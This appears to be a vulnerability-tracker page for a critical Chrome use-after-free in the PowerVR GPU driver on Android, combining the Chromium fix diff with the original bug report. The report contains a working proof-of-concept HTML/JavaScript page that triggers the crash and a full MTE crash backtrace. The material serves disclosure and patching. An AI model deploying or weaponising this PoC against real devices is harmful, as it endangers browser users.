Critical chrome Logic Error 📄 Reporter bug report 🔧 Commit mapped

Overview

Critical
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactObject lifecycle issue in PowerVR
DescriptionObject lifecycle issue in PowerVR
ComponentPowerVR
Bug ClassLogic Error
Tracker474266014
Fix commitbe29697e35d0 (chromium/src) +190/-64
CISA KEVNot listed
CreditedZhihua Yao of KunLun Lab
Disclosed2026-03-03

Changed Functions

FunctionChangeNotes
switch
gpu/command_buffer/service/context_group.cc
modified
if
gpu/command_buffer/service/feature_info.cc
modified

Files Changed

  • gpu/command_buffer/service/context_group.cc
  • gpu/command_buffer/service/context_group.h
  • gpu/command_buffer/service/decoder_context.h
  • gpu/command_buffer/service/feature_info.cc
From be29697e35d08f973c9ace3de6797a9a9b4a6fae Mon Sep 17 00:00:00 2001
From: Geoff Lang <geofflang@chromium.org>
Date: Wed, 25 Feb 2026 14:14:55 -0800
Subject: [PATCH] [m145] Ensure the previous complete fbo is not deleted on IMG.

(cherry picked from commit 12f9329852751a2318a6c5b0149268b23004f93e)

Bug: 474266014
Change-Id: I7d84833312749fc58ecb511b276ff6bd783af1ba
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7533383
Reviewed-by: Vasiliy Telezhnikov <vasilyt@chromium.org>
Commit-Queue: Geoff Lang <geofflang@chromium.org>
Cr-Original-Commit-Position: refs/heads/main@{#1583241}
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7608619
Reviewed-by: Shahbaz Youssefi <syoussefi@chromium.org>
Commit-Queue: Peter McNeeley <petermcneeley@google.com>
Cr-Commit-Position: refs/branch-heads/7632@{#3388}
Cr-Branched-From: 0bbdf2913883391365383b0a5dfe7bf9fd1a5213-refs/heads/main@{#1568190}
---

diff --git a/gpu/command_buffer/service/context_group.cc b/gpu/command_buffer/service/context_group.cc
index 9a913cd..4a3a68b4 100644
--- a/gpu/command_buffer/service/context_group.cc
+++ b/gpu/command_buffer/service/context_group.cc
@@ -120,9 +120,17 @@
 
   use_passthrough_cmd_decoder_ = gpu_preferences_.use_passthrough_cmd_decoder;
 }
-
 gpu::ContextResult ContextGroup::Initialize(DecoderContext* decoder,
                                             ContextType context_type) {
+  return InitializeWithCompleteFramebufferForWorkarounds(decoder, context_type,
+                                                         0);
+}
+
+gpu::ContextResult
+ContextGroup::InitializeWithCompleteFramebufferForWorkarounds(
+    DecoderContext* decoder,
+    ContextType context_type,
+    uint32_t complete_fbo_for_workarounds) {
   switch (context_type) {
     case CONTEXT_TYPE_WEBGL1:
       if (kGpuFeatureStatusBlocklisted ==
@@ -156,8 +164,9 @@
   DisallowedFeatures adjusted_disallowed_features =
       GetDisallowedFeatures(context_type);
 
-  feature_info_->Initialize(context_type, use_passthrough_cmd_decoder_,
-                            adjusted_disallowed_features);
+  feature_info_->InitializeWithCompleteFramebufferForWorkarounds(
+      context_type, use_passthrough_cmd_decoder_, adjusted_disallowed_features,
+      complete_fbo_for_workarounds);
 
   // Fail early if ES3 is requested and driver does not support it.
   if ((context_type == CONTEXT_TYPE_WEBGL2 ||
diff --git a/gpu/command_buffer/service/context_group.h b/gpu/command_buffer/service/context_group.h
index 78ea1ccd..051d812 100644
--- a/gpu/command_buffer/service/context_group.h
+++ b/gpu/command_buffer/service/context_group.h
@@ -72,7 +72,10 @@
   // call to destroy if it succeeds.
   gpu::ContextResult Initialize(DecoderContext* decoder,
                                 ContextType context_type);
-
+  gpu::ContextResult InitializeWithCompleteFramebufferForWorkarounds(
+      DecoderContext* decoder,
+      ContextType context_type,
+      uint32_t complete_fbo_for_workarounds);
   // Destroys all the resources when called for the last context in the group.
   // It should only be called by DecoderContext.
   void Destroy(DecoderContext* decoder, bool have_context);
diff --git a/gpu/command_buffer/service/decoder_context.h b/gpu/command_buffer/service/decoder_context.h
index f00ad245..96edc25 100644
--- a/gpu/command_buffer/service/decoder_context.h
+++ b/gpu/command_buffer/service/decoder_context.h
@@ -140,6 +140,12 @@
   virtual gles2::ErrorState* GetErrorState() = 0;
 
   //
+  // Methods required by GLES2 Decoder helpers
+  //
+  // Bind the framebuffer `service_id` and perform any workarounds needed.
+  virtual void BindFramebuffer(unsigned target, uint32_t service_id) const = 0;
+
+  //
   // Methods required by Texture.
   //
   // Indicates whether a given internal format is one for a compressed
diff --git a/gpu/command_buffer/service/feature_info.cc b/gpu/command_buffer/service/feature_info.cc
index a4aed67..378bb5d 100644
--- a/gpu/command_buffer/service/feature_info.cc
+++ b/gpu/command_buffer/service/feature_info.cc
@@ -63,7 +63,8 @@
 
 bool IsWebGLDrawBuffersSupported(bool webglCompatibilityContext,
                                  GLenum depth_texture_internal_format,
-                                 GLenum depth_stencil_texture_internal_format) {
+                                 GLenum depth_stencil_texture_internal_format,
+                                 GLuint complete_fbo_for_workarounds) {
   // This is called after we make sure GL_EXT_draw_buffers is supported.
   GLint max_draw_buffers = 0;
   GLint max_color_attachments = 0;
@@ -80,6 +81,9 @@
 
   GLuint fbo;
   glGenFramebuffersEXT(1, &fbo);
+  if (complete_fbo_for_workarounds) {
+    glBindFramebufferEXT(GL_FRAMEBUFFER, complete_fbo_for_workarounds);
+  }
   glBindFramebufferEXT(GL_FRAMEBUFFER, fbo);
 
   GLuint depth_stencil_texture = 0;
@@ -156,6 +160,9 @@
     }
   }
 
+  if (complete_fbo_for_workarounds) {
+    glBindFramebufferEXT(GL_FRAMEBUFFER, complete_fbo_for_workarounds);
+  }
   glBindFramebufferEXT(GL_FRAMEBUFFER, static_cast<GLuint>(fb_binding));
   glDeleteFramebuffersEXT(1, &fbo);
 
@@ -235,6 +242,15 @@
 void FeatureInfo::Initialize(ContextType context_type,
                              bool is_passthrough_cmd_decoder,
                              const DisallowedFeatures& disallowed_features) {
+  InitializeWithCompleteFramebufferForWorkarounds(
+      context_type, is_passthrough_cmd_decoder, disallowed_features, 0);
+}
+
+void FeatureInfo::InitializeWithCompleteFramebufferForWorkarounds(
+    ContextType context_type,
+    bool is_passthrough_cmd_decoder,
+    const DisallowedFeatures& disallowed_features,
+    unsigned complete_fbo_for_workarounds) {
   if (initialized_) {
     DCHECK_EQ(context_type, context_type_);
     DCHECK_EQ(is_passthrough_cmd_decoder, is_passthrough_cmd_decoder_);
@@ -245,14 +261,14 @@
   disallowed_features_ = disallowed_features;
   context_type_ = context_type;
   is_passthrough_cmd_decoder_ = is_passthrough_cmd_decoder;
-  InitializeFeatures();
+  InitializeFeatures(complete_fbo_for_workarounds);
   initialized_ = true;
 }
 
 void FeatureInfo::ForceReinitialize() {
   CHECK(initialized_);
   CHECK(is_passthrough_cmd_decoder_);
-  InitializeFeatures();
+  InitializeFeatures(0);
 }
 
 void FeatureInfo::InitializeForTesting(
@@ -274,7 +290,7 @@
              DisallowedFeatures());
 }
 
-bool IsGL_REDSupportedOnFBOs() {
+bool IsGL_REDSupportedOnFBOs(uint32_t complete_fbo_for_workarounds) {
 #if BUILDFLAG(IS_MAC)
   // The glTexImage2D call below can hang on Mac so skip this since it's only
   // really needed to workaround a Mesa issue. See https://crbug.com/1158744.
@@ -308,6 +324,9 @@
                GL_UNSIGNED_BYTE, nullptr);
   GLuint textureFBOID = 0;
   glGenFramebuffersEXT(1, &textureFBOID);
+  if (complete_fbo_for_workarounds) {
+    glBindFramebufferEXT(GL_FRAMEBUFFER, complete_fbo_for_workarounds);
+  }
   glBindFramebufferEXT(GL_FRAMEBUFFER, textureFBOID);
   glFramebufferTexture2DEXT(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D,
                             textureId, 0);
@@ -316,6 +335,9 @@
   glDeleteFramebuffersEXT(1, &textureFBOID);
   glDeleteTextures(1, &textureId);
 
+  if (complete_fbo_for_workarounds) {
+    glBindFramebufferEXT(GL_FRAMEBUFFER, complete_fbo_for_workarounds);
+  }
   glBindFramebufferEXT(GL_FRAMEBUFFER, static_cast<GLuint>(fb_binding));
   glBindTexture(GL_TEXTURE_2D, static_cast<GLuint>(tex_binding));
 
@@ -473,7 +495,7 @@
   }
 }
 
-void FeatureInfo::InitializeFeatures() {
+void FeatureInfo::InitializeFeatures(uint32_t complete_fbo_for_workarounds) {
   // Figure out what extensions to turn on.
   std::string extensions_string(gl::GetGLExtensionsFromCurrentContext());
   gfx::ExtensionSet extensions(gfx::MakeExtensionSet(extensions_string));
@@ -1261,9 +1283,9 @@
        can_emulate_es2_draw_buffers_on_es3_nv) &&
       (context_type_ == CONTEXT_TYPE_OPENGLES2 ||
        (context_type_ == CONTEXT_TYPE_WEBGL1 &&
-        IsWebGLDrawBuffersSupported(is_webgl_compatibility_context,
-                                    depth_texture_format,
-                                    depth_stencil_texture_format)));
Loading diff…

Original Bug Report

reported by ha...@gmail.com

Chrome sandbox escape via libGLESv2_powervr.so

Security Bug

Important: Please do not change the component of this bug manually.

Please READ THIS FAQ before filing a bug: https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md

Please see the following link for instructions on filing security bugs: https://www.chromium.org/Home/chromium-security/reporting-security-bugs

Reports may be eligible for reward payments under the Chrome VRP: https://g.co/chrome/vrp

NOTE: Security bugs are normally made public once a fix has been widely deployed.


VULNERABILITY DETAILS

The root cause is a concurrency failure within the PowerVR driver’s internal state machine. Specifically, the driver lacks sufficient reference counting or synchronization locks to protect the GLES3Context structures when a resource destruction event (like a canvas resize) occurs simultaneously with a rapid stream of state-change commands (glScissor). MTE on the Pixel 10 identifies this as a Tag Mismatch, confirming that SetScissor is attempting to operate on a memory object that has already been deallocated.

VERSION Chrome Version: latest Operating System: android with powervr

REPRODUCTION CASE

  1. access poc.html on pixel10 with mte enable
  2. adb logcat
<script>

    const trigger = () => {
        const workerCode = `
            onmessage = function() {
                const canvas = new OffscreenCanvas(100, 100);
                const gl = canvas.getContext('webgl2');
                if(!gl) return;
                
                setInterval(() => {
                    for (let i = 0; i < 1000; i++) {
                        gl.enable(gl.SCISSOR_TEST);
                        gl.scissor(Math.random()*50, Math.random()*50, 10, 10);
                        if (i % 20 === 0) {
                            canvas.width = (i % 2 === 0) ? 10 : 11;
                        }
                    }
                    gl.clear(gl.COLOR_BUFFER_BIT);
                }, 0);
            }
        `;

        const blob = new Blob([workerCode], { type: 'text/javascript' });
        const url = URL.createObjectURL(blob);
        
        for (let i = 0; i < 10; i++) {
            const worker = new Worker(url);
            worker.postMessage('start');
        }
    };

    trigger();

</script>

Many people have encountered this crash; I’ve only analyzed the causes from others. This vulnerability has existed for a long time but hasn’t been fixed. It’s a vulnerability that can cause sandbox escape on Android Chrome or browsers using the Chromium kernel, and it should be fixed immediately.This is a vulnerability that’s easy to reproduce; my proof-of-concept (PoC) should allow you to reproduce it quickly. If you can’t reproduce it, simply visit https://panic.com/transmit/ and scroll around the page for a bit.

type: crash
*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
Build fingerprint: 'google/blazer/blazer:16/BP4A.251205.006.E1/2025122501:user/release-keys'
Kernel Release: '6.6.119-android15-8-gf9fb720507e2-4k'
Revision: 'MP1.0'
ABI: 'arm64'
Timestamp: 2025-12-28 02:25:57.567181303-0500
Process uptime: 124s
Executable: /system/bin/app_process64
Cmdline: app.vanadium.browser:privileged_process2
pid: 30726, tid: 30750, name: CrGpuMain  >>> app.vanadium.browser:privileged_process2 <<<
uid: 10138
tagged_addr_ctrl: 000000000007fff7 (PR_TAGGED_ADDR_ENABLE, PR_MTE_TCF_SYNC, PR_MTE_TCF_ASYNC, mask 0xfffe)
pac_enabled_keys: 000000000000000f (PR_PAC_APIAKEY, PR_PAC_APIBKEY, PR_PAC_APDAKEY, PR_PAC_APDBKEY)
esr: 0000000092000011 (Data Abort Exception 0x24)
signal 11 (SIGSEGV), code 9 (SEGV_MTESERR), fault addr 0x0000dcf7cb21b160 (read)
    x0  0a00dddce992f000  x1  0000000000000000  x2  0000000000000000  x3  0000000000000000
    x4  0000000000000040  x5  0000000000000040  x6  0000000000000000  x7  0000db16a2556413
    x8  0a00dddce992f1e8  x9  0a00dddce993a000  x10 0f00dcf7cb21b060  x11 0000000000000001
    x12 0000000000000000  x13 0000000000000000  x14 0000db16b3f38fb0  x15 0000db16af631000
    x16 0000db1742528dd0  x17 0000de4e62ac5640  x18 0000db16b2944000  x19 0a00dddce992f000
    x20 0000000000000040  x21 0000000000000040  x22 0000000000000000  x23 0000000000000000
    x24 0000000000000000  x25 000000000000b048  x26 0000db1200f8079c  x27 0000db16af4c9000
    x28 0000db16b3ff4040  x29 0000db16b3f38fb0
    lr  0000db1742528eb8  sp  0000db16b3f38fa0  pc  0000db1742528f6c  pst 0000000080001000
    esr 0000000092000011

25 total frames
backtrace:
      #00 pc 000000000010ff6c  /vendor/lib64/egl/libGLESv2_powervr.so (SetScissor+76) (BuildId: 9a7a0b1a4e57d0209e2ced81459460aa)
      #01 pc 000000000010feb4  /vendor/lib64/egl/libGLESv2_powervr.so (Impl_glScissor(int, int, int, int, GLES3Context_TAG*) (.__uniq.77782139865804364555287636204600767741)+100) (BuildId: 9a7a0b1a4e57d0209e2ced81459460aa)
      #02 pc 00000000094a13ec  /product/app/TrichromeLibrary/TrichromeLibrary.apk!libmonochrome_64.so (offset 0x918000) (BuildId: d9a5874e02b3783d2453020be8ea37417d73f5b6)
      #03 pc 00000000094e184c  /product/app/TrichromeLibrary/TrichromeLibrary.apk!libmonochrome_64.so (offset 0x918000) (BuildId: d9a5874e02b3783d2453020be8ea37417d73f5b6)
      #04 pc 00000000095ac5d8  /product/app/TrichromeLibrary/TrichromeLibrary.apk!libmonochrome_64.so (offset 0x918000) (BuildId: d9a5874e02b3783d2453020be8ea37417d73f5b6)
      #05 pc 00000000085c0fac  /product/app/TrichromeLibrary/TrichromeLibrary.apk!libmonochrome_64.so (offset 0x918000) (BuildId: d9a5874e02b3783d2453020be8ea37417d73f5b6)
      #06 pc 0000000006d776e4  /product/app/TrichromeLibrary/TrichromeLibrary.apk!libmonochrome_64.so (offset 0x918000) (BuildId: d9a5874e02b3783d2453020be8ea37417d73f5b6)
      #07 pc 000000000650b078  /product/app/TrichromeLibrary/TrichromeLibrary.apk!libmonochrome_64.so (offset 0x918000) (BuildId: d9a5874e02b3783d2453020be8ea37417d73f5b6)
      #08 pc 00000000052a1260  /product/app/TrichromeLibrary/TrichromeLibrary.apk!libmonochrome_64.so (offset 0x918000) (BuildId: d9a5874e02b3783d2453020be8ea37417d73f5b6)
      #09 pc 00000000079940d8  /product/app/TrichromeLibrary/TrichromeLibrary.apk!libmonochrome_64.so (offset 0x918000) (BuildId: d9a5874e02b3783d2453020be8ea37417d73f5b6)
      #10 pc 0000000007ebead4  /product/app/TrichromeLibrary/TrichromeLibrary.apk!libmonochrome_64.so (offset 0x918000) (BuildId: d9a5874e02b3783d2453020be8ea37417d73f5b6)
      #11 pc 000000000c18a38c  /product/app/TrichromeLibrary/TrichromeLibrary.apk!libmonochrome_64.so (offset 0x918000) (BuildId: d9a5874e02b3783d2453020be8ea37417d73f5b6)
      #12 pc 0000000004e2788c  /product/app/TrichromeLibrary/TrichromeLibrary.apk!libmonochrome_64.so (offset 0x918000) (BuildId: d9a5874e02b3783d2453020be8ea37417d73f5b6)
      #13 pc 0000000004e28af8  /product/app/TrichromeLibrary/TrichromeLibrary.apk!libmonochrome_64.so (offset 0x918000) (BuildId: d9a5874e02b3783d2453020be8ea37417d73f5b6)
      #14 pc 0000000007d5a7e0  /product/app/TrichromeLibrary/TrichromeLibrary.apk!libmonochrome_64.so (offset 0x918000) (BuildId: d9a5874e02b3783d2453020be8ea37417d73f5b6)
      #15 pc 0000000007d5a404  /product/app/TrichromeLibrary/TrichromeLibrary.apk!libmonochrome_64.so (offset 0x918000) (BuildId: d9a5874e02b3783d2453020be8ea37417d73f5b6)
      #16 pc 0000000000316900  /apex/com.android.art/lib64/libart.so (art_quick_generic_jni_trampoline+144) (BuildId: beb7fbd1d32b8638db451308cec29e5b)
      #17 pc 00000000007c31cc  /data/dalvik-cache/arm64/product@app@TrichromeChrome@TrichromeChrome.apk@classes.dex (ab1.run+2060)
      #18 pc 00000000000a95e0  /system/framework/arm64/boot.oat (java.lang.Thread.run+64) (BuildId: 83c55c7af947c7428eded573796085d1b82ebd45)
      #19 pc 00000000002ff594  /apex/com.android.art/lib64/libart.so (art_quick_invoke_stub+612) (BuildId: beb7fbd1d32b8638db451308cec29e5b)
      #20 pc 00000000002711c0  /apex/com.android.art/lib64/libart.so (art::ArtMethod::Invoke(art::Thread*, unsigned int*, unsigned int, art::JValue*, char const*)+224) (BuildId: beb7fbd1d32b8638db451308cec29e5b)
      #21 pc 000000000049ce4c  /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallback(void*)+1180) (BuildId: beb7fbd1d32b8638db451308cec29e5b)
      #22 pc 000000000049c99c  /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallbackWithUffdGc(void*)+12) (BuildId: beb7fbd1d32b8638db451308cec29e5b)
      #23 pc 0000000000091584  /apex/com.android.runtime/lib64/bionic/libc.so (__pthread_start(void*) (.__uniq.67847048707805468364044055584648682506)+180) (BuildId: b2e2593ea9af5cb426017f2c32a8fcf5)
      #24 pc 00000000000813d4  /apex/com.android.runtime/lib64/bionic/libc.so (__start_thread+68) (BuildId: b2e2593ea9af5cb426017f2c32a8fcf5)

Memory tags around the fault address (0xdcf7cb21b160), one tag per 16 bytes:
      0xdcf7cb21a900: 0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0
      0xdcf7cb21aa00: 0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0
      0xdcf7cb21ab00: 0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0
      0xdcf7cb21ac00: 0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0
      0xdcf7cb21ad00: 0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0
      0xdcf7cb21ae00: 0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0
      0xdcf7cb21af00: 0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0
      0xdcf7cb21b000: 0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0
    =>0xdcf7cb21b100: 0  0  0  0  0  0 [0] 0  0  0  0  0  0  0  0  0
      0xdcf7cb21b200: 0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0
      0xdcf7cb21b300: 0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0
      0xdcf7cb21b400: 0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0
      0xdcf7cb21b500: 0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0
      0xdcf7cb21b600: 0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0
      0xdcf7cb21b700: 0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0
      0xdcf7cb21b800: 0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0

Learn more about MTE reports: https://source.android.com/docs/security/test/memory-safety/mte-reports
View on issue tracker